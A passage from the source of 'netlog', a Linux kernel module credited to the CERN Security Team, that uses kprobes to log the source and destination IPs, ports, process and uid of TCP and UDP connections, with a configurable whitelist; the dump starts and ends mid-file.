40 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 25)
41 | #define SADDR saddr
42 | #else
43 | #define SADDR inet_saddr
44 | #endif
45 |
46 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 25)
47 | #define DADDR daddr
48 | #else
49 | #define DADDR inet_daddr
50 | #endif
51 |
52 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 25)
53 | #define SPORT sport
54 | #else
55 | #define SPORT inet_sport
56 | #endif
57 |
58 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 25)
59 | #define DPORT dport
60 | #else
61 | #define DPORT inet_dport
62 | #endif
63 |
64 | static char source_ipv4[INET_ADDRSTRLEN];
65 | static char source_ipv6[INET6_ADDRSTRLEN + 2];
66 |
67 | static char destination_ipv4[INET_ADDRSTRLEN];
68 | static char destination_ipv6[INET6_ADDRSTRLEN + 2];
69 |
70 | int is_inet(struct socket *sock)
71 | {
72 | if(unlikely(sock == NULL) || unlikely(sock->sk == NULL))
73 | {
74 | return 0;
75 | }
76 | else
77 | {
78 | return (sock->sk->sk_family == AF_INET || sock->sk->sk_family == AF_INET6);
79 | }
80 | }
81 |
82 | int is_tcp(struct socket *sock)
83 | {
84 | if(unlikely(sock == NULL) || unlikely(sock->sk == NULL))
85 | {
86 | return 0;
87 | }
88 | else
89 | {
90 | return (sock->sk->sk_protocol == IPPROTO_TCP);
91 | }
92 | }
93 |
94 | int is_udp(struct socket *sock)
95 | {
96 | if(unlikely(sock == NULL) || unlikely(sock->sk == NULL))
97 | {
98 | return 0;
99 | }
100 | else
101 | {
102 | return (sock->sk->sk_protocol == IPPROTO_UDP);
103 | }
104 | }
105 |
106 | int get_source_port(struct socket *sock)
107 | {
108 | if(unlikely(sock == NULL) || unlikely(sock->sk == NULL))
109 | {
110 | return 0;
111 | }
112 | else
113 | {
114 | return (ntohs(inet_sk(sock->sk)->SPORT));
115 | }
116 | }
117 |
118 | int get_destination_port(struct socket *sock)
119 | {
120 | if(unlikely(sock == NULL) || unlikely(sock->sk == NULL))
121 | {
122 | return 0;
123 | }
124 | else
125 | {
126 | return (ntohs(inet_sk(sock->sk)->DPORT));
127 | }
128 | }
129 |
130 |
131 | char *get_source_ip_sk(const struct sock *sk)
132 | {
133 | if(unlikely(sk == NULL))
134 | {
135 | return NULL;
136 | }
137 |
138 | switch(sk->sk_family)
139 | {
140 | case AF_INET:
141 | snprintf(source_ipv4, sizeof(source_ipv4), "%u.%u.%u.%u", NIPQUAD(inet_sk(sk)->SADDR));
142 |
143 | return source_ipv4;
144 | break;
145 | case AF_INET6:
146 | snprintf(source_ipv6, sizeof(source_ipv6), "[%04x:%04x:%04x:%04x:%04x:%04x:%04x:%04x]",
147 | NIP6(inet6_sk(sk)->saddr));
148 |
149 | return source_ipv6;
150 | break;
151 | default:
152 | return NULL;
153 | break;
154 | }
155 | }
156 |
157 | char *get_source_ip(const struct socket *sock)
158 | {
159 | if(unlikely(sock == NULL))
160 | {
161 | return NULL;
162 | }
163 |
164 | return get_source_ip_sk(sock->sk);
165 | }
166 |
167 | char *get_destination_ip_sk(const struct sock *sk)
168 | {
169 | if(unlikely(sk == NULL))
170 | {
171 | return NULL;
172 | }
173 |
174 | switch(sk->sk_family)
175 | {
176 | case AF_INET:
177 | snprintf(destination_ipv4, sizeof(destination_ipv4), "%u.%u.%u.%u", NIPQUAD(inet_sk(sk)->DADDR));
178 |
179 | return destination_ipv4;
180 | break;
181 | case AF_INET6:
182 | snprintf(destination_ipv6, sizeof(destination_ipv6), "[%04x:%04x:%04x:%04x:%04x:%04x:%04x:%04x]",
183 | NIP6(inet6_sk(sk)->daddr));
184 | return destination_ipv6;
185 | break;
186 | default:
187 | return NULL;
188 | break;
189 | }
190 | }
191 |
192 | char *get_destination_ip(const struct socket *sock)
193 | {
194 | if(unlikely(sock == NULL))
195 | {
196 | return NULL;
197 | }
198 |
199 | return get_destination_ip_sk(sock->sk);
200 | }
201 |
202 | char *get_ip(const struct sockaddr *addr)
203 | {
204 | if(unlikely(addr == NULL))
205 | {
206 | return NULL;
207 | }
208 |
209 | switch(addr->sa_family)
210 | {
211 | struct sockaddr_in *addrin;
212 | struct sockaddr_in6 *addrin6;
213 | static char ipv4[INET_ADDRSTRLEN];
214 | static char ipv6[INET6_ADDRSTRLEN + 2];
215 |
216 | case AF_INET:
217 | addrin = (struct sockaddr_in *) addr;
218 | snprintf(ipv4, sizeof(ipv4), "%u.%u.%u.%u", NIPQUAD(addrin->sin_addr.s_addr));
219 |
220 | return ipv4;
221 | break;
222 | case AF_INET6:
223 | addrin6 = (struct sockaddr_in6 *) addr;
224 | snprintf(ipv6, sizeof(ipv6), "[%04x:%04x:%04x:%04x:%04x:%04x:%04x:%04x]",
225 | NIP6(addrin6->sin6_addr));
226 |
227 | return ipv6;
228 | break;
229 | default:
230 | return NULL;
231 | break;
232 | }
233 | }
234 |
235 | int any_ip_address(const char *ip)
236 | {
237 | if(unlikely(ip == NULL))
238 | {
239 | return 0;
240 | }
241 |
242 | return (!strncmp(ip, "0.0.0.0", INET_ADDRSTRLEN) ||
243 | !strncmp(ip, "[0000:0000:0000:0000:0000:0000:0000:0000]", INET6_ADDRSTRLEN + 2));
244 | }
245 |
246 | int looks_like_ipv6(const char *ip)
247 | {
248 | int i;
249 |
250 | if(ip == NULL)
251 | {
252 | return 0;
253 | }
254 |
255 | for(i = 0; i < INET6_ADDRSTRLEN && ip[i] != '\0'; ++i)
256 | {
257 | if(ip[i] == ':')
258 | {
259 | return 1;
260 | }
261 | }
262 |
263 | return 0;
264 | }
265 |
266 |
267 | int valid_port_number(const int port)
268 | {
269 | /*Port 0 useless in this case, so we consider it invalid*/
270 |
271 | return (port > 0 && port < 65536);
272 | }
273 |
274 | int ip_character(const char ch)
275 | {
276 | /*Decimal characters and '.'*/
277 |
278 | return (ch == '.' || (ch >= '0' && ch <= '9'));
279 | }
280 |
281 | int ipv6_character(const char ch)
282 | {
283 | /*Hexadecimal characters and ':'s.
284 | *Tolerate existance of '[' and ']'
285 | */
286 |
287 | return (ch == ':' || ch == '[' || ch == ']' ||(ch >= '0' && ch <= '9') ||
288 | (ch >= 'A' && ch <= 'Z') || (ch >= 'a' && ch <= 'z'));
289 | }
290 |
291 | int looks_like_valid_ip(const char *ip)
292 | {
293 | if(ip == NULL)
294 | {
295 | return 0;
296 | }
297 |
298 | if(looks_like_ipv6(ip))
299 | {
300 | int i;
301 |
302 | for(i = 0; i < (INET6_ADDRSTRLEN + 2) && ip[i] != '\0'; ++i)
303 | {
304 | if(!ipv6_character(ip[i]))
305 | {
306 | return 0;
307 | }
308 | }
309 |
310 | return 1;
311 | }
312 | else
313 | {
314 | int i;
315 |
316 | for(i = 0; i < INET_ADDRSTRLEN && ip[i] != '\0'; ++i)
317 | {
318 | if(!ip_character(ip[i]))
319 | {
320 | return 0;
321 | }
322 | }
323 |
324 | return 1;
325 |
326 | }
327 |
328 | return 0;
329 | }
330 |
331 |
332 |
--------------------------------------------------------------------------------
/netlog/src/inet_utils.h:
--------------------------------------------------------------------------------
1 | #ifndef __IPUTILS__
2 | #define __IPUTILS__
3 |
4 | /* API that provides destination and source ip addresses,
5 | * given the target struct sock, struct socket or
6 | *the struct sockaddr.
7 | */
8 |
9 | struct sock;
10 | struct socket;
11 | struct sockaddr;
12 |
13 | int is_inet(struct socket *sock);
14 |
15 | int is_tcp(struct socket *sock);
16 |
17 | int is_udp(struct socket *sock);
18 |
19 | char *get_destination_ip_sk(const struct sock *sk);
20 |
21 | char *get_destination_ip(const struct socket *sock);
22 |
23 | int get_source_port(struct socket *sock);
24 |
25 | int get_destination_port(struct socket *sock);
26 |
27 | char *get_source_ip_sk(const struct sock *sk);
28 |
29 | char *get_source_ip(const struct socket *sock);
30 |
31 | char *get_ip(const struct sockaddr *addr);
32 |
33 | int any_ip_address(const char *ip);
34 |
35 | int looks_like_ipv6(const char *ip);
36 |
37 | int valid_port_number(const int port);
38 |
39 | int looks_like_valid_ip(const char *ip);
40 |
41 | #endif
42 |
43 |
--------------------------------------------------------------------------------
/netlog/src/netlog.h:
--------------------------------------------------------------------------------
1 | #ifndef __NETLOG__
2 | #define __NETLOG__
3 |
4 | /* Change to non zero value (i.e. 1) if you wish to probe
5 | * the binding of UDP sockets.
6 | */
7 |
8 | #define PROBE_UDP 0
9 |
10 | /* Change to zero value (0) if you wish to not probe
11 | * the close system call for the sockets.
12 | */
13 |
14 | #define PROBE_CONNECTION_CLOSE 1
15 |
16 | /* Set to non-zero value in order to compile the whitelisting code*/
17 |
18 | #define WHITELISTING 1
19 |
20 | /* Error codes */
21 |
22 | #define CONNECT_PROBE_FAILED 1
23 | #define ACCEPT_PROBE_FAILED 2
24 | #define CLOSE_PROBE_FAILED 3
25 | #define BIND_PROBE_FAILED 4
26 |
27 | MODULE_LICENSE("GPL");
28 | MODULE_AUTHOR("Panos Sakkos ");
29 | MODULE_DESCRIPTION("netlog logs information about every internet connection\n"
30 | "\t\tfrom and to the machine that is installed. This information\n"
31 | "\t\tis source/destination ips and ports, process name and pid,\n"
32 | "\t\tuid and the protocol (TCP/UDP).");
33 |
34 | int __init plant_probes(void);
35 | void __exit unplant_probes(void);
36 |
37 | module_init(plant_probes);
38 | module_exit(unplant_probes);
39 |
40 | #endif
41 |
--------------------------------------------------------------------------------
/netlog/src/probes.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include "inet_utils.h"
14 | #include "whitelist.h"
15 | #include "netlog.h"
16 | #include "connection.h"
17 | #include "proc_config.h"
18 |
19 | #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
20 | #define get_current_uid() current->uid
21 | #else
22 | #define get_current_uid() current_uid()
23 | #endif
24 |
25 | #define MODULE_NAME "netlog"
26 |
27 | /**********************************/
28 | /* MODULE PARAMETERS */
29 | /**********************************/
30 |
31 | int absolute_path_mode = 0;
32 |
33 | module_param(absolute_path_mode, int, 0);
34 | MODULE_PARM_DESC(absolute_path_mode, " Boolean parameter for absolute path mode. When enabled, \n"
35 | "\t\tit will log the execution path instead of the process name");
36 |
37 |
38 | #if WHITELISTING
39 |
40 | static int whitelist_length = 0;
41 | static char *connections_to_whitelist[MAX_WHITELIST_SIZE] = {'\0'};
42 |
43 | module_param_array(connections_to_whitelist, charp, &whitelist_length, 0000);
44 | MODULE_PARM_DESC(connections_to_whitelist, " An array of strings that contains the connections that " MODULE_NAME " will ignore.\n"
45 | "\t\tThe format of the string must be '/absolute/executable/path ip_address-port'");
46 |
47 | #endif
48 |
49 | /**********************************/
50 | /* PROBES */
51 | /**********************************/
52 |
53 | /* The next two probes are for the connect system call. We need to associate the process that
54 | * requested the connection with the socket file descriptor that the kernel returned.
55 | * The socket file descriptor is available only after the system call returns.
56 | * Though we need to be able to get the pointer to the socket struct that was given as a parameter
57 | * to connect and log its contents. We cannot have a process requesting two connects in the same time,
58 | * because when a system call is called, the process is suspended until its end of execution.
59 | */
60 |
61 | static struct socket *match_socket[PID_MAX_LIMIT] = {NULL};
62 |
63 | static int netlog_inet_stream_connect(struct socket *sock, struct sockaddr *addr, int addr_len, int flags)
64 | {
65 | if(unlikely(current == NULL))
66 | {
67 | goto out;
68 | }
69 |
70 | match_socket[current->pid] = sock;
71 | out:
72 | jprobe_return();
73 | return 0;
74 | }
75 |
76 | static int post_connect(struct kretprobe_instance *ri, struct pt_regs *regs)
77 | {
78 | struct socket *sock;
79 | int destination_port;
80 | char *destination_ip;
81 |
82 | sock = match_socket[current->pid];
83 |
84 | if(unlikely(!is_tcp(sock)) || unlikely(!is_inet(sock)))
85 | {
86 | goto out;
87 | }
88 |
89 | if(unlikely(current == NULL))
90 | {
91 | goto out;
92 | }
93 |
94 | destination_ip = get_destination_ip(sock);
95 | destination_port = get_destination_port(sock);
96 |
97 | #if WHITELISTING
98 |
99 | if(is_whitelisted(current, destination_ip, destination_port))
100 | {
101 | goto out;
102 | }
103 |
104 | #endif
105 |
106 | if(!absolute_path_mode)
107 | {
108 | printk(KERN_INFO MODULE_NAME ": %s[%d] TCP %s:%d -> %s:%d (uid=%d)\n", current->comm, current->pid,
109 | get_source_ip(sock), get_source_port(sock),
110 | destination_ip, destination_port,
111 | get_current_uid());
112 | }
113 | else
114 | {
115 | char buffer[MAX_ABSOLUTE_EXEC_PATH + 1], *path;
116 | path = exe_from_mm(current->mm, buffer, sizeof(buffer));
117 |
118 | printk(KERN_INFO MODULE_NAME ": %s[%d] TCP %s:%d -> %s:%d (uid=%d)\n", path, current->pid,
119 | get_source_ip(sock), get_source_port(sock),
120 | destination_ip, destination_port,
121 | get_current_uid());
122 | }
123 |
124 | out:
125 | match_socket[current->pid] = NULL;
126 | return 0;
127 | }
128 |
129 | /* post_accept probe is called right after the accept system call returns.
130 | * In the return register is placed the socket file descriptor. So with the
131 | * user of regs_register_status we can get the socket file descriptor and log
132 | * the data that we want for the socket.
133 | */
134 |
135 | static int post_accept(struct kretprobe_instance *ri, struct pt_regs *regs)
136 | {
137 | struct socket *sock;
138 | char *destination_ip;
139 | int err, destination_port;
140 |
141 | sock = sockfd_lookup(regs_return_value(regs), &err);
142 |
143 | if(unlikely(!is_tcp(sock)) || unlikely(!is_inet(sock)))
144 | {
145 | goto out;
146 | }
147 |
148 | if(unlikely(current == NULL))
149 | {
150 | goto out;
151 | }
152 |
153 | destination_ip = get_destination_ip(sock);
154 | destination_port = get_destination_port(sock);
155 |
156 | #if WHITELISTING
157 |
158 | if(is_whitelisted(current, destination_ip, destination_port))
159 | {
160 | goto out;
161 | }
162 |
163 | #endif
164 |
165 |
166 | if(!absolute_path_mode)
167 | {
168 | printk(KERN_INFO MODULE_NAME ": %s[%d] TCP %s:%d <- %s:%d (uid=%d)\n", current->comm, current->pid,
169 | get_source_ip(sock), get_source_port(sock),
170 | destination_ip, destination_port,
171 | get_current_uid());
172 | }
173 | else
174 | {
175 | char buffer[MAX_ABSOLUTE_EXEC_PATH + 1], *path;
176 | path = exe_from_mm(current->mm, buffer, sizeof(buffer));
177 |
178 | printk(KERN_INFO MODULE_NAME ": %s[%d] TCP %s:%d <- %s:%d (uid=%d)\n", path, current->pid,
179 | get_source_ip(sock), get_source_port(sock),
180 | destination_ip, destination_port,
181 | get_current_uid());
182 | }
183 |
184 | out:
185 | if(likely(sock != NULL))
186 | {
187 | sockfd_put(sock);
188 | }
189 |
190 | return 0;
191 | }
192 |
193 | #if PROBE_CONNECTION_CLOSE
194 |
195 | asmlinkage static long netlog_sys_close(unsigned int fd)
196 | {
197 | struct socket *sock;
198 | char *destination_ip;
199 | int err, destination_port;
200 |
201 | sock = sockfd_lookup(fd, &err);
202 |
203 | if(likely(!is_inet(sock)) || unlikely(current == NULL))
204 | {
205 | goto out;
206 | }
207 |
208 | destination_ip = get_destination_ip(sock);
209 | destination_port = get_destination_port(sock);
210 |
211 | #if WHITELISTING
212 |
213 | if(is_whitelisted(current, destination_ip, destination_port))
214 | {
215 | goto out;
216 | }
217 |
218 | #endif
219 |
220 | if(is_tcp(sock) && likely(get_destination_port(sock) != 0))
221 | {
222 |
223 | if(!absolute_path_mode)
224 | {
225 | printk(KERN_INFO MODULE_NAME ": %s[%d] TCP %s:%d <-> %s:%d (uid=%d)\n", current->comm, current->pid,
226 | get_source_ip(sock), get_source_port(sock),
227 | destination_ip, destination_port,
228 | get_current_uid());
229 | }
230 | else
231 | {
232 | char buffer[MAX_ABSOLUTE_EXEC_PATH + 1], *path;
233 | path = exe_from_mm(current->mm, buffer, sizeof(buffer));
234 |
235 | printk(KERN_INFO MODULE_NAME ": %s[%d] TCP %s:%d <-> %s:%d (uid=%d)\n", path, current->pid,
236 | get_source_ip(sock), get_source_port(sock),
237 | destination_ip, destination_port,
238 | get_current_uid());
239 | }
240 | }
241 |
242 | #if PROBE_UDP
243 |
244 | else if(is_udp(sock) && is_inet(sock))
245 | {
246 | if(!absolute_path_mode)
247 | {
248 | printk(KERN_INFO MODULE_NAME ": %s[%d] UDP %s:%d <-> %s:%d (uid=%d)\n", current->comm, current->pid,
249 | get_source_ip(sock), get_source_port(sock),
250 | destination_ip, destination_port,
251 | get_current_uid());
252 | }
253 | else
254 | {
255 | char buffer[MAX_ABSOLUTE_EXEC_PATH + 1], *path;
256 | path = exe_from_mm(current->mm, buffer, sizeof(buffer));
257 |
258 | printk(KERN_INFO MODULE_NAME ": %s[%d] UDP %s:%d <-> %s:%d (uid=%d)\n",
259 | path, current->pid,
260 | get_source_ip(sock), get_source_port(sock),
261 | destination_ip, destination_port,
262 | get_current_uid());
263 | }
264 | }
265 |
266 | #endif
267 |
268 | out:
269 | if(likely(sock != NULL))
270 | {
271 | sockfd_put(sock);
272 | }
273 |
274 | jprobe_return();
275 | return 0;
276 | }
277 |
278 | #endif
279 |
280 | #if PROBE_UDP
281 |
282 | /* UDP protocol is connectionless protocol, so we probe the bind system call */
283 |
284 | asmlinkage static int netlog_sys_bind(int sockfd, const struct sockaddr *addr, int addrlen)
285 | {
286 | int err;
287 | char *ip;
288 | struct socket *sock;
289 |
290 | sock = sockfd_lookup(sockfd, &err);
291 |
292 | if(!is_inet(sock) || !is_udp(sock))
293 | {
294 | goto out;
295 | }
296 |
297 | if(unlikely(current == NULL))
298 | {
299 | goto out;
300 | }
301 |
302 | ip = get_ip(addr);
303 |
304 | #if WHITELISTING
305 |
306 | if(is_whitelisted(current, ip, NO_PORT))
307 | {
308 | goto out;
309 | }
310 |
311 | #endif
312 |
313 | if(any_ip_address(ip))
314 | {
315 | if(!absolute_path_mode)
316 | {
317 | printk(KERN_INFO MODULE_NAME ": %s[%d] UDP bind (any IP address):%d (uid=%d)\n",
318 | current->comm, current->pid,
319 | ntohs(((struct sockaddr_in *)addr)->sin_port),
320 | get_current_uid());
321 | }
322 | else
323 | {
324 | char buffer[MAX_ABSOLUTE_EXEC_PATH + 1], *path;
325 | path = exe_from_mm(current->mm, buffer, sizeof(buffer));
326 |
327 | printk(KERN_INFO MODULE_NAME ": %s[%d] UDP bind (any IP address):%d (uid=%d)\n",
328 | path, current->pid,
329 | ntohs(((struct sockaddr_in *)addr)->sin_port),
330 | get_current_uid());
331 | }
332 | }
333 | else
334 | {
335 | if(!absolute_path_mode)
336 | {
337 | printk(KERN_INFO MODULE_NAME ": %s[%d] UDP bind %s:%d (uid=%d)\n", current->comm, current->pid, ip,
338 | ntohs(((struct sockaddr_in6 *)addr)->sin6_port),
339 | get_current_uid());
340 | }
341 | else
342 | {
343 | char buffer[MAX_ABSOLUTE_EXEC_PATH + 1], *path;
344 | path = exe_from_mm(current->mm, buffer, sizeof(buffer));
345 |
346 | printk(KERN_INFO MODULE_NAME ": %s[%d] UDP bind %s:%d (uid=%d)\n", path, current->pid, ip,
347 | ntohs(((struct sockaddr_in6 *)addr)->sin6_port),
348 | get_current_uid());
349 | }
350 | }
351 |
352 | out:
353 | if(likely(sock != NULL))
354 | {
355 | sockfd_put(sock);
356 | }
357 |
358 | jprobe_return();
359 | return 0;
360 | }
361 |
362 | #endif
363 |
364 | int signal_that_will_cause_exit(int trap_number)
365 | {
366 | switch(trap_number)
367 | {
368 | case SIGABRT:
369 | case SIGSEGV:
370 | case SIGQUIT:
371 | //TODO Other signals that we need to handle?
372 | return 1;
373 | break;
374 | default:
375 | return 0;
376 | break;
377 | }
378 | }
379 |
380 | int handler_fault(struct kprobe *p, struct pt_regs *regs, int trap_number)
381 | {
382 | if(signal_that_will_cause_exit(trap_number))
383 | {
384 | printk(KERN_ERR MODULE_NAME ": fault handler: Detected fault %d from inside probes.", trap_number);
385 | }
386 |
387 | return 0;
388 | }
389 |
390 | /*************************************/
391 | /* probe definitions */
392 | /*************************************/
393 |
394 | static struct jprobe connect_jprobe =
395 | {
396 | .entry = (kprobe_opcode_t *) netlog_inet_stream_connect,
397 | .kp =
398 | {
399 | .symbol_name = "inet_stream_connect",
400 | .fault_handler = handler_fault,
401 | },
402 | };
403 |
404 | static struct kretprobe connect_kretprobe =
405 | {
406 | .handler = post_connect,
407 | .maxactive = 16 * NR_CPUS,
408 | .kp =
409 | {
410 | .symbol_name = "inet_stream_connect",
411 | .fault_handler = handler_fault,
412 | },
413 | };
414 |
415 | static struct kretprobe accept_kretprobe =
416 | {
417 | .handler = post_accept,
418 | .maxactive = 16 * NR_CPUS,
419 | .kp =
420 | {
421 | #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 32)
422 | .symbol_name = "sys_accept",
423 | #else
424 | .symbol_name = "sys_accept4",
425 | #endif
426 | .fault_handler = handler_fault,
427 | },
428 | };
429 |
430 | #if PROBE_CONNECTION_CLOSE
431 |
432 | static struct jprobe tcp_close_jprobe =
433 | {
434 | .entry = (kprobe_opcode_t *) netlog_sys_close,
435 | .kp =
436 | {
437 | .symbol_name = "sys_close",
438 | .fault_handler = handler_fault,
439 | }
440 | };
441 |
442 | #endif
443 |
444 | #if PROBE_UDP
445 |
446 | static struct jprobe bind_jprobe =
447 | {
448 | .entry = (kprobe_opcode_t *) netlog_sys_bind,
449 | .kp =
450 | {
451 | .symbol_name = "sys_bind",
452 | .fault_handler = handler_fault,
453 | },
454 | };
455 |
456 | #endif
457 |
458 | void unplant_all(void)
459 | {
460 | unregister_jprobe(&connect_jprobe);
461 | printk(KERN_INFO MODULE_NAME ":\t[+] Unplanted connect pre handler probe\n");
462 |
463 | unregister_kretprobe(&connect_kretprobe);
464 | printk(KERN_INFO MODULE_NAME ":\t[+] Unplanted connect post handler probe\n");
465 |
466 | unregister_kretprobe(&accept_kretprobe);
467 | printk(KERN_INFO MODULE_NAME ":\t[+] Unplanted accept post handler probe\n");
468 |
469 | #if PROBE_CONNECTION_CLOSE
470 |
471 | unregister_jprobe(&tcp_close_jprobe);
472 | printk(KERN_INFO MODULE_NAME ":\t[+] Unplanted close pre handler probe\n");
473 |
474 | #endif
475 |
476 | #if PROBE_UDP
477 |
478 | unregister_jprobe(&bind_jprobe);
479 | printk(KERN_INFO MODULE_NAME ":\t[+] Unplanted bind pre handler probe\n");
480 |
481 | #endif
482 | }
483 |
484 | int plant_all(void)
485 | {
486 | int err;
487 |
488 | err = register_jprobe(&connect_jprobe);
489 |
490 | if(err < 0)
491 | {
492 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to plant connect pre handler\n");
493 | unplant_all();
494 |
495 | return -CONNECT_PROBE_FAILED;
496 | }
497 |
498 | printk(KERN_INFO MODULE_NAME ":\t[+] Planted connect pre handler\n");
499 |
500 | err = register_kretprobe(&connect_kretprobe);
501 |
502 | if(err < 0)
503 | {
504 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to plant connect post handler\n");
505 | unplant_all();
506 |
507 | return -CONNECT_PROBE_FAILED;
508 | }
509 |
510 | printk(KERN_INFO MODULE_NAME ":\t[+] Planted connect post handler\n");
511 |
512 | err = register_kretprobe(&accept_kretprobe);
513 |
514 | if(err < 0)
515 | {
516 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to plant accept post handler\n");
517 | unplant_all();
518 |
519 | return -ACCEPT_PROBE_FAILED;
520 | }
521 |
522 | printk(KERN_INFO MODULE_NAME ":\t[+] Planted accept post handler\n");
523 |
524 | #if PROBE_CONNECTION_CLOSE
525 |
526 | err = register_jprobe(&tcp_close_jprobe);
527 |
528 | if(err < 0)
529 | {
530 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to plant close pre handler\n");
531 | unplant_all();
532 |
533 | return -CLOSE_PROBE_FAILED;
534 | }
535 |
536 | printk(KERN_INFO MODULE_NAME ":\t[+] Planted close pre handler\n");
537 |
538 | #endif
539 |
540 | #if PROBE_UDP
541 |
542 | err = register_jprobe(&bind_jprobe);
543 |
544 | if(err < 0)
545 | {
546 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to plant bind pre handler\n");
547 | unplant_all();
548 |
549 | return -BIND_PROBE_FAILED;
550 | }
551 |
552 | printk(KERN_INFO MODULE_NAME ":\t[+] Planted bind pre handler\n");
553 |
554 | #endif
555 |
556 | return 0;
557 | }
558 |
559 | #if WHITELISTING
560 |
561 | void do_whitelist(void)
562 | {
563 | int i, err;
564 |
565 | /*Deal with the whitelisting*/
566 |
567 | if(whitelist_length > MAX_WHITELIST_SIZE)
568 | {
569 | printk(KERN_ERR MODULE_NAME ":\t[-] Cannot whitelist more than %d connections. The %d last parameters paths will be ignored. \
570 | Please change MAX_WHITELIST_SIZE definition in netlog.h and recompile, or contact \
571 | CERN-CERT \n", MAX_WHITELIST_SIZE, whitelist_length - MAX_WHITELIST_SIZE);
572 |
573 | whitelist_length = MAX_WHITELIST_SIZE;
574 | }
575 |
576 | /*Will not check if the paths are valid, because in case that they are, they will be ignored*/
577 |
578 | for(i = 0; i < whitelist_length; ++i)
579 | {
580 | err = whitelist(connections_to_whitelist[i]);
581 |
582 | if(err < 0)
583 | {
584 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to whitelist %s\n", connections_to_whitelist[i]);
585 | }
586 | else
587 | {
588 | printk(KERN_INFO MODULE_NAME ":\t[+] Whitelisted %s\n", connections_to_whitelist[i]);
589 | }
590 | }
591 | }
592 |
593 | #endif
594 |
595 | /************************************/
596 | /* INIT MODULE */
597 | /************************************/
598 |
599 | int __init plant_probes(void)
600 | {
601 | int err;
602 |
603 | printk(KERN_INFO MODULE_NAME ": Light monitoring tool for inet connections by CERN Security Team\n");
604 |
605 | err = plant_all();
606 |
607 | if(err < 0)
608 | {
609 | return err;
610 | }
611 |
612 | #if WHITELISTING
613 |
614 | err = create_proc_config();
615 |
616 | if(err < 0)
617 | {
618 | printk(KERN_INFO MODULE_NAME ":\t[-] Creation of proc file for configuring connection whitelisting failed\n");
619 | }
620 | else
621 | {
622 | printk(KERN_INFO MODULE_NAME ":\t[+] Created %s proc file for configuring connection whitelisting\n", PROC_CONFIG_NAME);
623 | }
624 |
625 | do_whitelist();
626 |
627 | #endif
628 |
629 | if(absolute_path_mode)
630 | {
631 | printk(KERN_INFO MODULE_NAME ":\t[+] Absolute path mode is enabled. The logs will contain the absolute execution path\n");
632 | }
633 | else
634 | {
635 | printk(KERN_INFO MODULE_NAME ":\t[-] Absolute path mode is disabled. The logs will contain the process name\n");
636 | }
637 |
638 | printk(KERN_INFO MODULE_NAME ":\t[+] Deployed\n");
639 |
640 | return 0;
641 | }
642 |
643 | /************************************/
644 | /* EXIT MODULE */
645 | /************************************/
646 |
647 | void __exit unplant_probes(void)
648 | {
649 | unplant_all();
650 |
651 | #if WHITELISTING
652 |
653 | destroy_whitelist();
654 | destroy_proc_config();
655 |
656 | #endif
657 | }
658 |
--------------------------------------------------------------------------------
/netlog/src/proc_config.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include "whitelist.h"
6 | #include "connection.h"
7 | #include "proc_config.h"
8 |
9 | static unsigned long procfs_buffer_size = 0;
10 | static char procfs_buffer[PROCFS_MAX_SIZE];
11 | static struct proc_dir_entry *netlog_config_proc_file = NULL;
12 |
13 | void add_connection_string_to_proc_config(const char *connection_string)
14 | {
15 | if(connection_string == NULL)
16 | {
17 | return;
18 | }
19 |
20 | procfs_buffer_size += snprintf(procfs_buffer + procfs_buffer_size, PROCFS_MAX_SIZE - procfs_buffer_size,
21 | "%s,", connection_string);
22 | }
23 |
24 | void initialize_procfs_buffer(void)
25 | {
26 | memset(procfs_buffer, '\0', PROCFS_MAX_SIZE);
27 | procfs_buffer_size = 0;
28 | }
29 |
30 | void update_whitelist(void)
31 | {
32 | int i, connection_string_length;
33 | static char temp_procfs_buffer[PROCFS_MAX_SIZE];
34 | char new_connection_string[MAX_NEW_CONNECTION_SIZE], *start;
35 |
36 | /* Copy the prc fs buffer into a temporary, because it will
37 | * be updated from the void whitelist(struct connection *connection).
38 | *
39 | * By this way, the buffer will be consistent with the whitelist, because
40 | * some connections might not be in the right format.
41 | */
42 |
43 | memcpy(temp_procfs_buffer, procfs_buffer, PROCFS_MAX_SIZE);
44 | initialize_procfs_buffer();
45 |
46 | destroy_whitelist();
47 |
48 | printk(KERN_INFO PROC_CONFIG_NAME ":\t[+] Cleared whitelist\n");
49 |
50 | /* Whitelist one by one the connections that our buffer has */
51 |
52 | start = temp_procfs_buffer;
53 | connection_string_length = 0;
54 |
55 | for(i = 0; ; ++i)
56 | {
57 | /* Each connection is separated by a comma in the buffer,
58 | * or by a \0 if there is no comma after the last connection string.
59 | * Locate them and add them to the whitelist.
60 | */
61 |
62 | if(temp_procfs_buffer[i] == ',' || temp_procfs_buffer[i] == '\0')
63 | {
64 | int err;
65 |
66 | connection_string_length++;
67 | memcpy(new_connection_string, start, connection_string_length);
68 | new_connection_string[connection_string_length - 1] = '\0';
69 |
70 | /* Whitelist the new connection */
71 |
72 | err = whitelist(new_connection_string);
73 |
74 | if(err < 0)
75 | {
76 | printk(KERN_ERR PROC_CONFIG_NAME ":\t[-] Failed to whitelist %s\n", new_connection_string);
77 | }
78 | else
79 | {
80 | printk(KERN_INFO PROC_CONFIG_NAME ":\t[+] Whitelisted %s\n", new_connection_string);
81 | }
82 |
83 | if(temp_procfs_buffer[i] == '\0')
84 | {
85 | /* End of parsing */
86 |
87 | break;
88 | }
89 | else
90 | {
91 | /* Skip separating character */
92 |
93 | start += connection_string_length;
94 | connection_string_length = 0;
95 | }
96 | }
97 | else
98 | {
99 | connection_string_length++;
100 | }
101 | }
102 |
103 | memset(temp_procfs_buffer, '\0', PROCFS_MAX_SIZE);
104 | }
105 |
106 | int procfile_read(char *buffer, char **buffer_location, off_t offset, int buffer_length, int *eof, void *data)
107 | {
108 | int written;
109 |
110 | if(offset > 0)
